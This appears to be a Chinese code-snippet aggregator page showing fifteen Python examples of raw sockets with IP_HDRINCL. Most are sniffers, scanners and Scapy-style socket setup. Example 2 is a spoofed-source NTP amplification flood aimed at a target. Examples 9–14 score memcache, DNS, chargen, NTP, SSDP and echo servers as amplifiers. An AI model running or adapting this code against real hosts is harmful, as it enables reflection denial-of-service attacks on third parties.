本文整理汇总了Python中socket.IP_HDRINCL属性的典型用法代码示例。如果您正苦于以下问题:Python socket.IP_HDRINCL属性的具体用法?Python socket.IP_HDRINCL怎么用?Python socket.IP_HDRINCL使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在类socket
的用法示例。
在下文中一共展示了socket.IP_HDRINCL属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: __init__
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def __init__(self, type=ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501
self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501
self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501
self.iface = iface
if iface is not None:
self.ins.bind((self.iface, type))
if not six.PY2:
try:
# Receive Auxiliary Data (VLAN tags)
self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)
self.ins.setsockopt(
socket.SOL_SOCKET,
SO_TIMESTAMPNS,
1
)
self.auxdata_available = True
except OSError:
# Note: Auxiliary Data is only supported since
# Linux 2.6.21
msg = "Your Linux Kernel does not support Auxiliary Data!"
log_runtime.info(msg)
示例2: run
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def run(self):
global ntpamplif_counter
self.speed=speed
self.target=target
self.port=port
time.sleep(2)
while (stop!=True):
try:
ip=random.choice(ntpl)
packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=123)/Raw(load='\x17\x00\x02\x2a'+'\x00'*4)
s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
packet=bytes(packet)
s.sendto(packet,(ip,123))
ntpamplif_counter+=1
if prints==True:
sys.stdout.write("\rPackets sent: {} | IP: {} ".format(ntpamplif_counter,ip))
sys.stdout.flush()
#print ("Packets sent: {} | IP: {}".format(ntpamplif_counter,ip))
except Exception as e:
pass
time.sleep(self.speed)
self.speed=None
self.target=None
self.port=None
示例3: init_func
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def init_func(self, creator_fd):
self.__creator_fd = creator_fd
self.__sent = []
family = socket.AF_INET
s = socket.socket(family, socket.SOCK_RAW, socket.IPPROTO_UDP | socket.IPPROTO_ICMP | socket.IPPROTO_UDP | 136)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.setblocking(0)
self.__socket = s
self.set_fileno(s.fileno())
self.register(self.fileno)
self.add_evt_read(self.fileno)
return self.fileno
示例4: sniffer_thread
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def sniffer_thread(target):
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
sniffer.bind(("0.0.0.0", 0 ))
sniffer.settimeout(5)
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# continually read in packets and parse their information
while ( 1 ):
try:
raw_buffer = sniffer.recvfrom(65565)[0]
except:
if (SNIFF_MUTEX == 0):
sys.exit(1)
ip_header = raw_buffer[0:20]
dst_port = struct.unpack(">h", raw_buffer[0x32:0x34])[0]
iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)
# Create our IP structure
version_ihl = iph[0]
ihl = version_ihl & 0xF
iph_length = ihl * 4
src_addr = socket.inet_ntoa(iph[8]);
# Create our ICMP structure
buf = raw_buffer[iph_length:iph_length + ctypes.sizeof(ICMP)]
icmp_header = ICMP(buf)
# check for the type 3 and code and within our target subnet
if icmp_header.code == 3 and icmp_header.type == 3 and src_addr == target:
if dst_port not in ports_ident["closed"]:
ports_ident["closed"].append(dst_port)
示例5: __init__
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
if iface is not None:
self.ins.bind((iface, type))
示例6: __init__
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def __init__(self, daddr):
try:
self.raw_sock = socket.socket(
socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW
)
except PermissionError as e:
print(e)
print("Please run as root!")
exit(1)
self.ip_daddr = daddr
os_release = platform.system()
if os_release == "Darwin":
# Boned. TODO: Work on fixing this.
print("Detected Mac OS - Cannot support writing of raw IP packets, exiting")
exit(1)
if os_release.endswith("BSD"):
# BSD - Need to explicit set IP_HDRINCL.
# BSD - Need to explicitly calculate IP total length
self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
logging.debug("Detected a BSD")
if os_release == "Linux":
# Linux - No need to set IP_HDRINCL,as setting SOCK_RAW auto sets this. However should be explicit in settings.
self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
logging.debug("Detected Linux")
if os_release == "Windows":
# No idea - No ability to test. Maybe abort?
# TODO: Find testers?
logging.debug("Detected NT")
print("Untested on Windows - Exiting")
exit(1)
示例7: __init__
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
示例8: nonblock_recv
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def nonblock_recv(self, x=MTU):
return self.recv()
# https://docs.microsoft.com/en-us/windows/desktop/winsock/tcp-ip-raw-sockets-2 # noqa: E501
# - For IPv4 (address family of AF_INET), an application receives the IP
# header at the front of each received datagram regardless of the
# IP_HDRINCL socket option.
# - For IPv6 (address family of AF_INET6), an application receives
# everything after the last IPv6 header in each received datagram
# regardless of the IPV6_HDRINCL socket option. The application does
# not receive any IPv6 headers using a raw socket.
示例9: memcache_factor
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def memcache_factor(u,timeout=3):
"""
calculate the amplification factor for any given memcache server
"""
#creating the payload
req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=11211)/Raw(load="\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n")
s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)#creating a raw socket
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(bytes(req),(u,11211))
s.settimeout(timeout)#set timeout
d=''
while True:
try:
o=''
o+=str(s.recv(4096))
except KeyboardInterrupt:
s.close()
break
except:
pass
if len(o)==0:
break
else:
d+=o
a=len(req)
b=len(d)
c=round(((len(d)*1.)/len(req)),3)
return {'protocol':'memcache','ip':u,'sent':a,'received':b,'amplification_factor':c}
示例10: dns_factor
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def dns_factor(u,timeout=3,q='google.com',t='ANY'):
#q: the domain name to resolve
#t: the dns query type
"""
calculate the amplification factor for any given dns server
"""
req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=53)/DNS(rd=1, qd=DNSQR(qname=q,qtype=t))
s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(bytes(req),(u,53))
s.settimeout(timeout)
d=''
while True:
try:
o=''
o+=str(s.recv(4096))
except KeyboardInterrupt:
s.close()
break
except:
pass
if len(o)==0:
break
else:
d+=o
a=len(req)
b=len(d)
c=round(((len(d)*1.)/len(req)),3)
return {'protocol':'dns','ip':u,'sent':a,'received':b,'amplification_factor':c}
示例11: chargen_factor
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def chargen_factor(u,timeout=3,q='0'):
#q: the character to send
"""
calculate the amplification factor for any given chargen server
"""
req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=19)/q
s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(bytes(req),(u,19))
s.settimeout(timeout)
d=''
while True:
try:
o=''
o+=str(s.recv(4096))
except KeyboardInterrupt:
s.close()
break
except:
pass
if len(o)==0:
break
else:
d+=o
a=len(req)
b=len(d)
c=round(((len(d)*1.)/len(req)),3)
return {'protocol':'chargen','ip':u,'sent':a,'received':b,'amplification_factor':c}
示例12: ntp_factor
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def ntp_factor(u,timeout=3):
"""
calculate the amplification factor for any given ntp server
"""
req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=123)/Raw(load='\x17\x00\x02\x2a'+'\x00'*4)
s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(bytes(req),(u,123))
s.settimeout(timeout)
d=''
while True:
try:
o=''
o+=str(s.recv(4096))
except KeyboardInterrupt:
s.close()
break
except:
pass
if len(o)==0:
break
else:
d+=o
a=len(req)
b=len(d)
c=round(((len(d)*1.)/len(req)),3)
return {'protocol':'ntp','ip':u,'sent':a,'received':b,'amplification_factor':c}
示例13: ssdp_factor
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def ssdp_factor(u,timeout=3):
"""
calculate the amplification factor for any given ssdp server
"""
req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=1900)/Raw(load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(bytes(req),(u,1900))
s.settimeout(timeout)
d=''
while True:
try:
o=''
o+=str(s.recv(4096))
except KeyboardInterrupt:
s.close()
break
except:
pass
if len(o)==0:
break
else:
d+=o
a=len(req)
b=len(d)
c=round(((len(d)*1.)/len(req)),3)
return {'protocol':'ssdp','ip':u,'sent':a,'received':b,'amplification_factor':c}
示例14: echo_factor
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def echo_factor(u,q='a',timeout=3):
"""
calculate the amplification factor for any given echo server
"""
req=IP( dst=u)/UDP(sport=random.randint(1025,65500),dport=7)/Raw(load=q)
s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(bytes(req),(u,7))
s.settimeout(timeout)
d=''
while True:
try:
o=''
o+=str(s.recv(4096))
except KeyboardInterrupt:
s.close()
break
except:
pass
if len(o)==0:
break
else:
d+=o
a=len(req)
b=len(d)
c=round(((len(d)*1.)/len(req)),3)
return {'protocol':'echo','ip':u,'sent':a,'received':b,'amplification_factor':c}
示例15: main
# 需要导入模块: import socket [as 别名]
# 或者: from socket import IP_HDRINCL [as 别名]
def main(argv):
global BIND
if len(argv) < 3:
print('Usage: ./udp-scan.py <bind-ip> <target-subnet>')
sys.exit(1)
bindAddr = sys.argv[1]
subnet = sys.argv[2]
sockProto = None
if os.name == 'nt':
sockProto = socket.IPPROTO_IP
else:
sockProto = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto)
if DEBUG: print('[.] Binding on {}:0'.format(bindAddr))
sniffer.bind((bindAddr, 0))
# Include IP headers in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# In Windows, set up promiscous mode.
if os.name == 'nt':
try:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
except socket.error, e:
print('[!] Could not set promiscous mode ON: "{}"'.format(str(e)))
# Sending thread
开发者ID:StevenDias33,项目名称:Offensive-Security-Certified-Professional,代码行数:33,代码来源:host-scanner-via-udp.py